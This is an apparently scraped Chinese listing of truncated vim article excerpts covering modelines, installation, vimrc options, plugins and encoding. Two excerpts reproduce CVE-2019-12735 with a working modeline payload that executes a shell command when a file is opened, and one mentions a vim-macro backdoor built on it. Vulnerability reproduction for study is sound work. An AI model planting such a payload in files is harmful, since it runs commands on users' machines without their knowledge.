vim的modeline】的更多相关文章

vim的modeline可以让你针对每个文件进行文件级别的设置,这些设置是覆盖当前用户的vimrc中的设置的.vim默认关闭modeline,开启的话需要在你的home下的.vimrc文件中增加一行: set modeline 然后source一下或者重新登陆就可以生效了. modeline 里可以放的指令不限一个,所以我.py 档案在档尾都有这麽一行的 modeline # vim: set ai et nu sw=4 ts=4 tw=79: 然后创建或打开一个文件,在文件的首行/尾行(必须)…
modeline vim的modeline可以让你针对每个文件进行文件级别的设置,这些设置是覆盖当前用户的vimrc中的设置的.当vim打开一个包含了vim modeline注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置.vim默认关闭modeline,开启的话需要在你的home下的.vimrc文件中增加一行: set modeline 在文件的首行/尾行(必须),写一行当前这个文件里面语言所支持的注释,例如写shell就是#,写Python就是#,写php就//或/**/…
一.Ubuntu系统默认内置: 实际上ubuntu默认没有安装老版本的vi,只装了vim.vi是vim.tiny(vim的最小化版本,不含 GUI,并且仅含有一小部分功能,并且默认与vi兼容.此软件包不依赖于vim-runtime软件包)的一个别名,可用命令ls -l /usr/bin/vi来进行查看vi是指向/etc/alternatives/vi,而/etc/alternatives/vi 又指向/usr/bin/vim.tiny,从命令update-alternatives --displ…
转自:http://www.cnblogs.com/ace-wu/p/6273031.html 安装VIM 默认已经安装了VIM-tiny acewu@acewu-computer:~$ locate vi | grep 'vi$' |xargs ls -al lrwxrwxrwx 1 root root 17 12月 9 21:12 /etc/alternatives/vi -> /usr/bin/vim.tiny lrwxrwxrwx 1 root root 20 12月 9 21:13 /…
安装VIM 默认已经安装了VIM-tiny acewu@acewu-computer:~$ locate vi | grep 'vi$' |xargs ls -al lrwxrwxrwx 1 root root 17 12月 9 21:12 /etc/alternatives/vi -> /usr/bin/vim.tiny lrwxrwxrwx 1 root root 20 12月 9 21:13 /usr/bin/vi -> /etc/alternatives/vi -rw-r--r-- 1…
Ubuntu 16.04 下 Vim安装及配置 默认已经安装了VIM-tiny linuxidc@linuxidc:~$ locate vi | grep 'vi$' |xargs ls -al lrwxrwxrwx 1 root root 17 12月 9 21:12 /etc/alternatives/vi -> /usr/bin/vim.tiny lrwxrwxrwx 1 root root 20 12月 9 21:13 /usr/bin/vi -> /etc/alternatives/…
常常处理文本以及常常须要写代码的人,都会有自己比較常常使用的编辑器,本人喜欢用Vim.理由就是Vim编辑器灵活,而且能够达到纯键盘操作,使用纯熟情况下,根本不须要鼠标操作.听起来是不是非常酷的?只是别高兴太早,想达到那个境地必须的指令是须要学习+记忆+练习的.总结指令例如以下: 高级正則表達式 1./\s*\<\(return\|else\)\@!\w\+\s\+\w\+\s*([^)]*)\s*;\@!\s*$ 查找多由c语言中的函数 \< 零长度匹配,表示单词的開始 \@! 零长度匹配 表…
最佳vim技巧----------------------------------------# 信息来源----------------------------------------www.vim.org         : 官方站点comp.editors        : 新闻组http://www.newriders.com/books/opl/ebooks/0735710015.html : Vim书籍http://vimdoc.sourceforge.net/cgi-bin/vim…
原文链接:http://blog.jobbole.com/20604/ 0. Vim 简介 作为开源世界最重要的编辑器之一(另一个是 Emacs),Vim 以其强大的功能和可定制能力被众多开发者所喜爱.不过,也许就是因为 Vim 的功能太强大了,要真正用好 Vim 并不容易.本文作者在多年的实际使用中逐渐掌握了一些实用技术,在此介绍给大家.——本文并不企图对 Vim 作全面而系统的介绍,但也绝非零星地点到即止:而是希望通过介绍一些重要特性和提供相关参考信息,引起大家的兴趣,去深入挖掘其能力,真正…
特别说明:要在我的随笔后写评论的小伙伴们请注意了,我的博客开启了 MathJax 数学公式支持,MathJax 使用$标记数学公式的开始和结束.如果某条评论中出现了两个$,MathJax 会将两个$之间的内容按照数学公式进行排版,从而导致评论区格式混乱.如果大家的评论中用到了$,但是又不是为了使用数学公式,就请使用\$转义一下,谢谢. 想从头阅读该系列吗?下面是传送门: Linux 桌面玩家指南:01. 玩转 Linux 系统的方法论 前言 本来我是想写完 Linux 桌面系统的美化和字体配置之…
设置tabstop成为其它值可能会导致文件在其它地方出现错误有四种主要方法使用tabs在vim里: 1.总是保持tabstop=8,设置softtabstop=4.shiftwidth=4(或3.或任何你喜欢的)并且使用noexpandtab.这样vim会使用tabs和spaces的混合体,但输入<Tab>和<BS>会表现像一个tab展现出4(或3个)字. 2.设置tabstop和shiftwidth成任何你喜欢的并使用expandtab.这样你会一直插入space.这种格式永远不…
选项配置说明 选项书写格式 选项说明 :se[t] 显示所有被改动的选项 :se[t] all 显示所有非 termcap 选项 :se[t] termcap 显示所有 termcap 选项 :se[t] {option} 置位布尔选项(开启) 显示字符串或数值选项 :se[t] no{option} 复位布尔选项(关闭) :se[t] inv{option} 逆转布尔选项的值 :se[t] {option}={value} 将 {value} 附加到字符串选项里, {value} 加到数值选项…
说在前面的话 -- a byte of vim 是我见过的最介绍vim 最好的书,想了解强大的vim的人,或者是已经在使用vim而打算进一步了解的人,我感觉都应该看看这个,内容精炼但涵盖非常广,--"vim为什么这么强大",当看完这本书时,我想你就能全然的了解了--此外.本书是一英文版,但非常easy,学语言的同一时候学习英语非常不多-- 附上最新版的下载链接 http://download.csdn.net/detail/wuzhimang/8933257  ,当然上官网才是硬道理…
Vim通过Modelines执行任意代码 漏洞概要: 在8.1.1365之前的Vim和在0.3.6之前的Neovim很容易通过打开特制的文本文件而通过模型执行任意代码. 复现条件: 确保未禁用modeline选项(:set modeline). 开启 modeline # vim /usr/share/vim/vimrc 大概在50行写入    :set modeline  复现过程: 1.    创建poc.txt 输入代码  :!uname -a||" vi:fen:fdm=expr:fde…
受影响版本: Vim < 8.1.1365, Neovim < 0.3.6 前提:开启modeline 0x01 开启modeline 在你的home下的.vimrc文件中增加一行: set modeline 0x02 Poc 创建文件poc.txt,内容为 :!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=" 输入命令 $vim poc.txt 系统将会执行…
基于VIM漏洞CVE-2019-12735的VIM宏后门病毒详解 不明觉厉 只要是人做的东西 就会有bug 就会有安全问题 就看发现bug 或者是发现安全问题 有没有收益了 会用linux的都是比较熟悉操作系统等概念的 不容易被钓鱼 反过来 很多用windows的能力会很差, 所以 windows上面显的更加脆弱. 这就好比开丰田车出事故的人 要比开众泰出事故的人要多很多一个道理. 众泰开的少 而且大家都可能会修车了.. https://www.freebuf.com/vuls/205516.h…
Dotfile是电脑系统里的隐藏文件,它是专门给更高级的用户,如开发者.程序员或工程师使用的,让他们用来调整系统.如何创建Vim-Dotfile? 可以参考以下步骤: 1. 首先,你要检查一下.vimrc文件是否存在.要确定这个文件是否可用,可以运行以下命令. 2. 出于很多原因,Vimrc 文件有可能已经不存在了.要手动创建.vimrc文件,在你的Linux/Unix终端运行以下代码. 3. 当创建文件后,现在我们可以继续通过一些例子来看一下如何使用.vimrc文件. Vim dotfile可…
一:VIM快速入门 1.vim模式介绍 以下介绍内容来自维基百科Vim 从vi演生出来的Vim具有多种模式,这种独特的设计容易使初学者产生混淆.几乎所有的编辑器都会有插入和执行命令两种模式,并且大多数的编辑器使用了与Vim截然不同的方式:命令目录(鼠标或者键盘驱动),组合键(通常通过control键(CTRL)和alt键(ALT)组成)或者鼠标输入.Vim和vi一样,仅仅通过键盘来在这些模式之中切换.这就使得Vim可以不用进行菜单或者鼠标操作,并且最小化组合键的操作.对文字录入员或者程序员可以大…
安装方法:   在下面的网站下载中文帮助的文件包:$wget http://nchc.dl.sourceforge.net/sourceforge/vimcdoc/vimcdoc-1.5.0.tar.gz 解包后进入文件夹,使用以下命令安装:$sudo ./vimcdoc.sh -i启动vim,输入:help,看看帮助文档是否已经便成中文了? 一些注意事项:1.vim中文文档不会覆盖原英文文档,安装后vim默认使用中文文档.若想使用英文文档,可在vim中执行以下命令:     set helpl…
我们使用vi或者vim的时候,如果想要显示行号,可能会这样做:切换到命令模式,然后输入set nu,再按回车键就显示了:还有就是咱们在编写程序的时候,有的时候会希望按下回车键后,光标不是每次都在行首,而是与上一行的第一个非空格符处对齐,也就是实现所谓的缩排功能,这是你可以在命令模式下输入set autoindent.但是每次这样输入太麻烦了,可不可以在每次利用vim命令编辑时自动就设置好功能呢? 简单说一下我的配置步骤.下表为vim的环境参数(鸟哥那本书上的)    上面都是鸟哥的私房菜里边的,…
Linux环境下写代码虽然没有IDE,但通过给vim配置几个插件也足够好用.一般常用的插件主要包括几类,查找文件,查找符号的定义或者声明(函数,变量等)以及自动补全功能.一般流程都是下载需要的工具,然后在vimrc文件中配置加载工具选项,一直这么用也没觉得啥.但最近发现通过vundle工具可以很方便的管理多个插件,非常方便,介绍给大家. 1.安装vim ./configure --prefix=/usr \ --with-features=huge \ --enable-pythoninterp…
vim有许多命令,网上搜有一堆贴子.文章列举出各种功能的命令. 对于"="."d"."y",我在无意中发现了它们所具有的相同的一些用法,先举以下三个例子: =nG dnG ynG 其中,n为行号.注意行号后面接的是大写字母"G".而"nG"恰好是光标移动到第n行的命令. 对于"=","=nG"的意思就是从当前行到第n行之间进行格式化.常用的一个命令"gg=G…
vim 的环境设定参数 :set nu :set nonu             就是设定与取消行号啊! :set hlsearch :set nohlsearch     hlsearch 就是 high light search(高亮度搜寻). 这个就是设定是否将搜寻的字符串反白的设定值.默认值是 hlsearch :set autoindent :set noautoindent     是否自动缩排?autoindent 就是自动缩排. :set backup     是否自动储存备份…
Linux 系统中很多东西都是以脚本代码.配置文件的形式存在,使用 Linux 系统时,需经常对这些文件进行编辑.很显然,如果没有文本编辑器,江湖之路寸步难行. 我的选择是 Vim.Vim 是 Linux 系统上的最著名的文本/代码编辑器,也是早年的 Vi 编辑器的加强版,被誉为文本/代码编辑器之中最为优秀经典的上古神器. 它之所以会获得如此美誉,我想主要有以下原因:1.它古老而神秘,学习曲线陡峭,难以驾驭,但是一旦学会则受益匪浅.如今被看作是高手.Geek 们专用的编辑器.所以尽管 Vim 已…
C 语言在 Linux 系统中的重要性自然是无与伦比.不可替代,所以我写 Linux 江湖系列不可能不提 C 语言.C 语言是我的启蒙语言,感谢 C 语言带领我进入了程序世界.虽然现在不靠它吃饭,但是仍免不了经常和它打交道,特别是在 Linux 系统下. Linux 系统中普遍使用的是 GNU-C,这里有一份Gnu-C语言手册.pdf.The GNU C Reference Manual 的主页在这里:http://www.gnu.org/software/gnu-c-manual/.C 语言的…
一些网络上质量较高的Vim资料 从我07年接触Vim以来,已经过去了8个年头,期间看过很多的Vim文章,我自己觉得非常不错,而且创作时间也比较近的文章有如下这些. Vim入门 目前为阿里巴巴高级技术专家的陈皓写的Vim系列文章: 简明 Vim 练级攻略 文章很有意思,跟打怪练级一样,你会分别经历如下阶段: 存活 感觉良好 觉得更好,更强,更快 使用VIM的超能力 无插件Vim编程技巧 出来混,经常会在各种服务器上编辑文件,没有了心爱的配置文件和插件,怎么破?记住这些Vim原生态无需插件就可以使用…
shell和vim中乱码原因及消除办法 作者:Jack47 在Linux下开发,经常遇到乱码问题:shell或者vim中显示不了中文,或者能够显示,但不能输入中文.每次都是上网去搜,或者同事告诉我一些命令来解决的.一直没有理解为什么会出乱码,本文就是想认真分析乱码问题的原因并找到解决之道.希望本文能够解决像我这样的菜鸟在Linux下shell和vim中遇到的乱码问题.读者们如果读完这篇文章后还是一头雾水,也不要着急[文章角度不同,不同的人的理解程度也不同],可以多看看类似的文章[文末的参考资料]…
http://blog.csdn.net/sharp_allen/article/details/27075133转载 说了这么多,其实还少一个和word,记事本一样的编辑器,在各个操作系统都有编辑器,在linux里也有,比如gedit编辑器,很方便.在终端里直接敲击gedit即可打开这个编辑器.保存到桌面,名字为geditfiles,再终端里使用ls命令查看: gedit就是一个全屏幕的编辑器!!还有一个编辑器叫做kate编辑器,可以在里面直接敲命令等,图形界面的东东,和windows下的没什…
前言  鉴于BASH及其周边强大的工具以及VIM高效快捷,加上现在我工作重心转移到前端开发上,因此我华丽地转向Linux阵营(当然从最傻瓜式的Ubuntu开始啦!).但BASH和VIM默认样式确实颜值太低,功能强大固然重要,但在这看脸的时代谁不爱美呢?那么我们先拿状态栏来开刀吧,而刀就是强大酷炫的Powerline本尊了. Powerline是什么?  Powerline是个stateless status line,即可以配置到BASH,ZSH,VIM等上,而不像vim-powerline那样…
前言  Ubuntu 16+中$ sudo apt install vim所安装的vim只支持Python3,但很多插件如YCM和powerline均需要Python2,那就来场"生命贵在折腾"吧! 自检  在shell中输入以下命令,若出现-python则表示不支持Python2,+python则表示支持;-python3表示不支持Python3,+python3则表示支持. $ vim --version | grep python 安装 1.安装 $ sudo apt insta…